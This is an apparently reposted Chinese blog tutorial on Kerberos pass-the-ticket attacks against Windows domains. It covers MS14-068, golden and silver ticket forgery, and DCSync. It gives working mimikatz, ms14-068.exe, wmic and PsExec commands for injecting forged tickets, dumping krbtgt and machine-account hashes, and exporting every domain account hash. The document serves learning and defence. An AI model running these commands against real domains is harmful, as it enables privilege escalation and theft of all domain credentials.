0


PTT(pass the ticket)票据传递攻击

一.前言

PTT

票据传递攻击,(PTT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PTH基于NTLM认证进行攻击,而

PTT

基于

kerberos

协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限

二.kerberos协议

Kerberos

是一种认证机制。目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务:保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务器,即支持双向验证。kerberos最初由MIT麻省理工开发,微软从Windows 2000开始支持Kerberos认证机制,将kerberos作为域环境下的主要身份认证机制。

简单介绍

kerberos

认证流程:

kdc

:密钥分发中心,KDC服务默认会安装在域控中。是受信任的三方认证中心,它拥有用户和服务的密码信息

Client(客户端)

:代表用户,用户账户有自己的密码。

Server(服务端)

:代表请求的服务侧,Server上运行的服务也有自己的密码
第一步(as认证):Client请求kdc(密钥分发中心)的

as

(认证服务),认证通过后,认证服务会生成由

krbtgt

hash加密的凭证,得到

TGT

(票据授权票据)。票据授权票据可重复使用,用于获取ST
第二步(TGS认证): Client利用

TGT

,如果想访问主机A的文件共享服务,就会向

TGS

(票据授权服务)请求获取访问主机A cifs服务的ST。认证通过后TGS生成由主机A cifs服务hash(即:主机1机器账户的hash) 加密的凭证,得到

ST

(票据)。ST用于请求server。
第三步(访问):Client拿到

ST

请求Server服务,即:请求主机A的cifs服务。主机A利用自己的service_hash解密ST,验证成功后server允许client访问

三.MS14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。MS14-068对应的补丁为KB3011780

3.1 注入票据获取域管权限

  • 获取普通域成员的SID
  • 利用漏洞,发起TGT认证请求,获取不包含PAC的TGT (ps:漏洞的关键就是在申请TGT时可以要求KDC返回的TGT不包含PAC)
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

成功后在在同目录下生成了.ccache文件

  • 使用mimikatz注入票据,获取域管权限
kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list          //查看当前机器凭证
kerberos::ptc 票据文件   //将票据注入到内存中


注入后,可以使用

klist

查看缓存的票据

建立ipc共享连接,访问域控。可以使用

psexec

或者

wmi

进行远程命令执行
(注意:要用主机名)


wmic方式远程命令执行

#wmic /node:主机 /user:用户 /password:密码 process call create 创建进程
wmic /node:test process call create "cmd.exe /c ipconfig > c:\test.txt"

查看文件内容获取结果

type \\test\c$\test.txt


psexec方式远程命令执行

-accepteula:第一次运行psexec会弹出确认框
-s:以system权限运行cmd获取交互式shell
-u:用户名
-p:密码

PsExec.exe -accepteula \\test -s cmd.exe

四.黄金票据

Golden ticket的作用是可以生成任意用户的tgt。在kerberos认证中的第一步生成tgt的过程中,客户端将自己的信息发送给as,,然后as使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。也就是说获取到了

krbtgt

的密码

hash

值,就可以伪造任意tgt获取任意用户权限。因为

krbtgt

只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

伪造黄金凭据需要具备下面条件:

  1. krbtgt用户的hash
  2. 域名称
  3. 域的sid值
  4. 要伪造的用户名

4.1 使用mimikatz伪造黄金票据

  • 登录域控制器,使用mimikatzdump krbtgt用户的hash值,获取域sid
privilege::debug 
lsadump::lsa /patch

  • 伪造adminnistrator域管用户的TGT。既:伪造由krbtgt hash加密的adminnistrator用户凭证,TGT和ST不同之处就是,TGT是由krbtgt服务账户加密并进行验证的票据凭证,ST是由对应的服务账户加密并进行验证的票据凭证。krbtgt的票据有效性长,其他服务账户票据时间短

使用krbtgt的ntlm伪造tgt

#kerberos::golden /user:用户 /domain:域名 /sid:域的sid /krbtgt:krbtgt的ntlm /ticket:gold.kirbi
kerberos::golden /user:administrator /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /krbtgt:a61897c242cd389e6a6ba05b7b99fcda   /ticket:gold.kirbi

成功后会生成tgt文件:gold.kirbi

  • 注入TGT凭证 为了防止发生异常可以先清空机器上的票据
kerberos::ptt gold.kirbi


五.白银票据

白银票据(Silver Tickets)是指伪造服务票据(ST),只能用来访问特定的服务。通过kerberos的认证原理得知ST是由TGS颁发的,使用服务账号的密码hash加密,所以在伪造银票的时候需要知道服务的密码hash。而白银票据会利用服务账号的hash伪造相应服务的ST,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。并且拥有域控权限才能读取域控制器上服务账号的hash,严格意义上,白银票据也是一个后门用来做权限维持,这不同于黄金票据利用需要使用 krbtgt 账号的密码的hash,因此更加隐蔽。

伪造白银票据需要具有以下条件:

  • 域名
  • 域 SID
  • 目标服务器的 FQDN
  • 可利用的服务
  • 服务账号的NTLM
  • 要伪造的用户名

服务列表对应清单

5.1 伪造票据获取CIFS服务权限

CIFS

为windows的文件共享服务

  • 登录域控,获取域控的机器账号hash 使用mimikatz抓取域控上的机器账号hash (ps:由域控的机器账号hash加密形成对应服务的ST凭证)
privilege::debug 
sekurlsa::logonpasswords


查看域的sid:

  • 注入票据 普通用户登录域内主机,无法访问域控的cifs文件共享服务,需要认证: 伪造票据并注入内存
# kerberos::golden /domain:域名 /sid:域 SID /target:FQDN /rc4:服务账号的哈希 /service:可利用的服务 /user:要伪造的用户名 /ptt
kerberos::golden /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /target:test.qaq.com /rc4:eb62a802b02097cc0ec0de4c0815ac10 /service:cifs /user:administrator /ptt


成功后,即可以访问域控的文件共享服务

注入

HOST

RPCSS

服务加密的票据,执行命令

#authority参数指定使用kerberos认证,格式域名\主机,不指定会使用默认的
wmic /authority:"kerberos:qaq\test" /node:test process call create "whoami"

5.2 获取ldap服务权限dcsync

无法导出hash

注入

ldap

服务加密的票据

kerberos::golden /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /target:test.qaq.com /rc4:eb62a802b02097cc0ec0de4c0815ac10 /service:LDAP  /user:administrator /ptt


DCSync是mimikatz的一个功能,能够模拟域控制器并从域控制器导出帐户密码hash

#导出krbtgt用户的hash
lsadump::dcsync /dc:test.qaq.com /domain:qaq.com /user:krbtgt
#导出所有域控上所有账号的hash
lsadump::dcsync /domain:qaq.com /all /csv

参考文档

https://security.tencent.com/index.php/blog/msg/154
https://mp.weixin.qq.com/s/Ic70dj7FSmDHGKTsekjhGQ


本文转载自: https://blog.csdn.net/weixin_42282667/article/details/127665629
版权归原作者 supdon 所有, 如有侵权,请联系我们删除。

“PTT(pass the ticket)票据传递攻击”的评论:

还没有评论